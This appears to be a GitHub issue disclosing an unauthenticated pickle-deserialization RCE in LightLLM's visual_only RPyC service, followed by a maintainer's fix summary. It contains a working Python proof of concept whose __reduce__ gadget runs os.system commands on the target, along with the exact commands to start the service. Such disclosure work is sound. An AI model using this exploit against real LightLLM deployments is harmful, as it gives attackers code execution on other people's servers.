Skip to content

[BUG] Unauthenticated RCE via pickle deserialization in the visual_only RPyC service #1610

Open

Description

@yyymk

Summary

In --run_mode visual_only deployments, LightLLM starts an RPyC service for the visual server that listens on all interfaces with allow_pickle: True and no authentication. The exposed_remote_infer_images method passes its argument to obtain(), which deserializes caller-supplied objects on the server. A network peer that can reach the port gets arbitrary code execution in the visual server process with the privileges of the LightLLM service account. This was reproduced locally and from a second host. Suggested severity Critical, CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8).

Details

The protocol configuration is defined in lightllm/server/visualserver/objs.py:

rpyc_config = {
    "allow_pickle": True,
    "allow_all_attrs": True,
    "allow_getattr": True,
    "allow_setattr": True,
    ...
}

lightllm/server/visualserver/visual_only_manager.py starts the service with it:

t = rpyc.ThreadedServer(visualserver, port=get_shm_port_args().visual_rpyc_port, protocol_config=rpyc_config)

ThreadedServer is created without a hostname argument, so it binds 0.0.0.0. The port comes from --visual_rpyc_port or a dynamic allocation. There is no authentication.

VisualOnlyManager.exposed_remote_infer_images(self, images, ref_event) calls obtain(images) before using the argument as a list. With allow_pickle enabled, a client object that cannot be passed by reference is pickled by rpyc and unpickled inside obtain(), so an object with a __reduce__ method executes arbitrary code in the visual server process before the follow-up TypeError.

This is the same weakness class as CVE-2026-103040 (router profiler service) and CVE-2026-103041 (embed cache service), but it is a different deployment mode, a different file, a different process (lightllm::...::visual_only_server), a different port, and a different exposed method, and it is not fixed by fixing either of those services.

Verified at commit 1eb4810c (v1.2.0+50); the same code is present at tag v1.2.0 and on current main (checked 2026-09-30).

PoC

Tested on Linux, LightLLM at commit 1eb4810c78c6ea908b69c20c3c037b79979e1cd6, one GPU, rpyc 5.3.1.

Start a visual-only node. Note that the process exits before binding unless --config_server_visual_redis_port is provided, even without a real Redis behind it:

CUDA_VISIBLE_DEVICES=0 python -m lightllm.server.api_server \
  --model_dir <MODEL_DIR> \
  --run_mode visual_only \
  --visual_tp 1 --visual_dp 1 \
  --visual_rpyc_port 18091 \
  --config_server_visual_redis_port 16379

Confirm the bind:

ss -ltnp | grep 18091
# LISTEN 0.0.0.0:18091 users:(("lightllm::...",pid=...))   # process name contains visual_only_server

Run from any host that can reach the port:

import rpyc
class RCE:
    def __reduce__(self):
        import os
        return (os.system,
                ("id > /tmp/lightllm_pwned_vo 2>&1; hostname >> /tmp/lightllm_pwned_vo; "
                 "date >> /tmp/lightllm_pwned_vo",))

conn = rpyc.connect("<node_ip>", 18091, config={
    "allow_all_attrs": True, "allow_getattr": True,
    "allow_setattr": True, "allow_pickle": True})
conn.root.remote_infer_images(RCE(), None)

Expected result: /tmp/lightllm_pwned_vo on the victim contains the id, hostname and date output written by the visual server process (the marker records its parent PID). The client sees CALL_ERR TypeError after the call because the gadget returns an int where a list is expected; the code has already run at that point. Reproduced from the local host and from a second host against the same process. Expected correct behavior: remove allow_pickle and the attribute-access options, bind the service to localhost, and validate arguments against an explicit schema.

Impact

Deserialization of untrusted data with missing authentication (CWE-502, CWE-306). Any network peer that can reach the visual RPyC port of a visual-only node executes arbitrary code as the LightLLM service account; in the test environment that account held the sudo and docker groups. Visual-only nodes are dedicated preprocessing servers for multimodal serving, and the service is present by default in that mode. The payload is repeatable against the same process. Full confidentiality, integrity and availability impact on the node.

Activity

  1. mikemikimike commented on Oct 23, 2026

    @mikemikimike

    Implemented in PR #1659.

    • Replaced visual-only RPyC ImageItem pickle transport with a versioned, validated payload schema.
    • Disabled pickle and broad attribute access for the visual-only RPyC service.
    • Added validation for image metadata, nested options, bytes, and batch limits.
    • Ensured shared-memory allocations are released on completion and setup failure.

    Validation completed:

    • python -m pytest -q unit_tests/server/test_visual_only_rpyc.py (5 passed)
    • Black and Flake8 checks for changed Python files
    • python -m py_compile for changed Python files
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions